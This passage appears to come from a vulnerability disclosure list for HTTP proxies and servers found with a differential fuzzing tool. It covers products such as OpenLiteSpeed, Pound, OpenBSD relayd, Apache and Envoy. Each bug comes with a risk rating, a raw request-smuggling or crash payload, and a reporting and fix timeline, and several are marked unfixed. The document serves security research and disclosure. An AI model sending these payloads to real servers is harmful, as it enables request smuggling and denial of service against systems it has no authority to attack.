  • Payload: GET / HTTP/1.1\r\nHost: whatever\r\nTransfer-Encoding: ,chunked\r\nContent-Length: 5\r\nConnection: close\r\n\r\n0r\n\r\n
  • Affected programs:
    • OpenLiteSpeed:
      • November 3, 2023: Reported via email.
      • July 10, 2024: Fixed on or before this date.
    • Pound:
      • February 4, 2024: Reported via GH issue.
      • March 29, 2024: Fixed in commit.
  1. \n is not normalized to \r\n in forwarded messages.
  • Use case: Request smuggling
  • Requirements: A backend server that does not interpret \n as a line ending in header lines. The standard allows servers to translate \n to .
  • Risk: High. This bug is exploitable against standards-compliant servers.
  • Payload: GET / HTTP/1.1\nHost: whatever\nConnection: close\n\n
  • Affected programs:
    • OpenLiteSpeed:
      • November 3, 2023: Reported via email.
      • January 31, 2024: Remains unfixed.
  1. Chunked message bodies containing an extra \r\n before the terminator chunk are un-chunked without replacing the Transfer-Encoding header with Content-Length.
  • Use case: Request smuggling
  • Requirements: None.
  • Risk: High. This bug is exploitable against arbitrary backend servers.
  • Payload: POST / HTTP/1.1\r\nHost: a\r\nTransfer-Encoding: chunked\r\n\r\n17\r\n0\r\n\r\nGET / HTTP/1.1\r\n\r\n\r\n\r\n0\r\n\r\n
  • Affected programs:
    • OpenLiteSpeed
      • November 30, 2023: Reported via email.
      • July 10, 2024: Fixed on or before this date.
  1. Transfer-Encoding: ,chunked headers are forwarded intact, and are not interpreted as equivalent to chunked.
  • Use case: Request smuggling
  • Requirements: A server that interprets ,chunked as equivalent to chunked, which the standard says you MAY do.
  • Risk: High. This is a request smuggling vulnerability that is usable against standards-compliant backends.
  • Payload: GET / HTTP/1.1\r\nHost: whatever\r\nTransfer-Encoding: ,chunked\r\nContent-Length: 5\r\n\r\n0\r\n\r\n
  • Affected programs:
    • OpenBSD relayd:
      • November 10, 2023: Reported via email.
      • November 28, 2023: Patched in commit.
  1. Chunk-sizes with +, -, and 0x prefixes are interpreted and forwarded.
  • Use case: Request smuggling
  • Requirements: A server that interprets chunk sizes as their longest valid prefix.
  • Risk: High. See server bug 22.
  • Payload: POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n-0x0\r\n\r\n
  • Affected programs:
    • OpenBSD relayd:
      • November 10, 2023: Reported via email.
      • November 28, 2023: Patched in commit.
    • Pound:
  1. Headers containing \x00 or \n are concatenated into the previous header's value.
  • Use case: Request smuggling
  • Requirements: Any standards-compliant backend server.
  • Risk: High. This is a generic request smuggling vulnerability.
  • Payload: GET / HTTP/1.1\r\na:b\r\nc\x00\r\n\r\n
  • Affected programs:
    • OpenBSD relayd:
      • November 10, 2023: Reported via email.
      • November 29, 2023: Patched in commit.
  1. Message bodies are stripped from GET requests without removing their Content-Length headers.
  • Use case: Request smuggling
  • Requirements: Any backend server that supports pipelining.
  • Risk: High. This is a generic request smuggling vulnerability.
  • Payload: GET / HTTP/1.1\r\nContent-Length: 10\r\n\r\n1234567890
  • Affected programs:
    • OpenBSD relayd:
      • November 28, 2023: Reported via email.
      • December 1, 2023: Patched in commit.
  1. Requests containing multiple Content-Length headers are forwarded, prioritizing the last.
  • Use case: Request smuggling
  • Requirements: A server that accepts requests containing multiple Content-Length headers, prioritizing the first.
  • Risk: High. See server bug 23.
  • Payload: POST / HTTP/1.1\r\nHost: a\r\nContent-Length: 0\r\nContent-Length: 31\r\n\r\nGET /evil HTTP/1.1\r\nHost: a\r\n\r\n
  • Affected programs:
    • OpenBSD relayd:
      • November 30, 2023: Reported via email.
      • July 10, 2024: Remains unfixed.
  1. Requests containing both Content-Length and Transfer-Encoding are forwarded.
  • Use case: Request smuggling
  • Requirements: A server that prioritizes Content-Length over Transfer-Encoding, or does not support Transfer-Encoding: chunked.
  • Risk: High. This is the classic request smuggling vector.
  • Payload: POST / HTTP/1.1\r\nHost: a\r\nContent-Length: 5\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\n
  • Affected programs:
    • OpenBSD relayd:
      • November 30, 2023: Reported via email.
      • July 10, 2024: Remains unfixed.
  1. Whitespace-prefixed chunk-sizes are accepted and forwarded.
  • Use case: ???
  • Requirements: N/A
  • Risk: None
  • Payload: POST / HTTP/1.1\r\nHost: a\r\nTransfer-Encoding: chunked\r\n\r\n 0\r\n\r\n
  • Affected programs:
    • OpenBSD relayd:
      • November 30, 2023: Reported via email.
      • January 31, 2024: Remains unfixed.
    • Pound:
      • October 15, 2023: Reported via GH issue.
      • November 25, 2023: Fixed in commit.
  1. Requests containing multiple Transfer-Encoding: chunked headers are forwarded, and treated as equivalent to a single such header.
  • Use case: Request smuggling
  • Requirements: A server that treats multiple Transfer-Encoding: chunked headers as not equivalent to no Transfer-Encoding: chunked, or joins multiple Transfer-Encoding headers, and treats chunked,chunked as distinct from chunked.
  • Risk: Medium. See server bug 21.
  • Payload: POST / HTTP/1.1\r\nHost: whatever\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\n
  • Affected programs:
    • Pound:
      • October 7, 2023: Reported via GH issue.
      • October 12, 2023: Fixed in commit.

Bonus bugs

These are bugs we found incidentally just by setting up the HTTP Garden and sending an example request. They don't really count because they didn't require using the Garden, but I figure I should document them anyway.

  1. NULL argument passed to memcpy in triggers undefined behavior.
  • Use case: ???
  • Requirements: N/A
  • Risk: None
  • Payload: Any request with an empty message body that will be forwarded to a proxy_fcgi backend.
  • Affected programs:
  1. Use-after-free.
  • Use case: DoS
  • Requirements: The server uses attach_server_session_to_client
  • Risk: Low. While this does crash ATS, it's so easy to notice that a reasonable person would not have deployed a vulnerable instance in production.
  • Payload: Any request at all.
  • Affected programs:
    • Apache Traffic Server:
      • July 31, 2023: Reported via GH issue.
      • September 13, 2023: Fixed via PR.
  1. Sending an extra byte after a request with a chunked message body crashes the server with a segfault.
  • Use case: DoS
  • Requirements: FastCGI is enabled.
  • Risk: High. This is a trivial-to-exploit bug that crashes the server.
  • Payload: GET / HTTP/1.1\r\nHost: whatever\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\n\x00
  • Affected programs:
    • OpenBSD httpd:
      • November 1, 2023: Reported via email.
      • November 8, 2023: Fixed in commit.
  1. Incoming chunked request bodies are echoed back before the response is sent.
  • Use case: DoS
  • Requirements: FastCGI is enabled.
  • Risk: Medium. This will invalidate the request stream for any chunked message, which will ruin shared connections.
  • Payload: POST / HTTP/1.1\r\nHost: whatever\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\rn\
  • Affected programs:
    • OpenBSD httpd:
      • January 4, 2024: Reported via email.
      • January 31, 2024: Remains unfixed.
  1. NULL dereference upon receipt of any request.
  • Use case: DoS
  • Requirements: mod_dir is enabled with certain configuration options.
  • Risk: Low. This bug is so obvious that no one sane would deploy a vulnerable server.
  • Payload: Anything at all.
  • Affected programs:
    • Apache httpd:
      • January 24, 2024: Reported via Bugzilla issue.
      • January 24, 2024: Remains unfixed.

Bonus Bonus Bugs

These are bugs that we found back when the Garden had HTTP/2 support. We removed HTTP/2 support because it was a little half-baked, but would love to be able to add it back!

  1. Whitespace characters are not stripped from field values during HTTP/2 to HTTP/1.1 downgrades.
  • Use case: ???
  • Requirements: N/A
  • Risk: None
  • Payload: PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00E\x01\x05\x00\x00\x00\x01\x00\n:authority\tlocalhost\x00\x05:path\x01/\x00\x07:method\x03GET\x00\x07:scheme\x04http\x00\x05test1\x03\ta\t
  • Affected programs:
    • Envoy:
      • July 7, 2023: Reported via GH issue.
      • October 7, 2023: Remains unfixed.
    • H2O:
    • Varnish Cache:
      • July 7, 2023: Reported via GH issue.
      • August 22, 2023: Fixed in commit.
  1. Empty header names are preserved across HTTP/2 to HTTP/1.1 translation, leading to the production of invalid HTTP/1.1.
  • Use case: DoS
  • Requirements: An HTTP/2 downgrade is being performed, and the backend rejects empty header names (as most do).
  • Risk: Low. This bug can be used to make a reasonable server 400, which will break connection sharing.
  • Payload: PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00=\x01\x05\x00\x00\x00\x01\x00\n:authority\tlocalhost\x00\x05:path\x01/\x00\x07:method\x03GET\x00\x07:scheme\x04http\x00\x00\x00
  • Affected programs: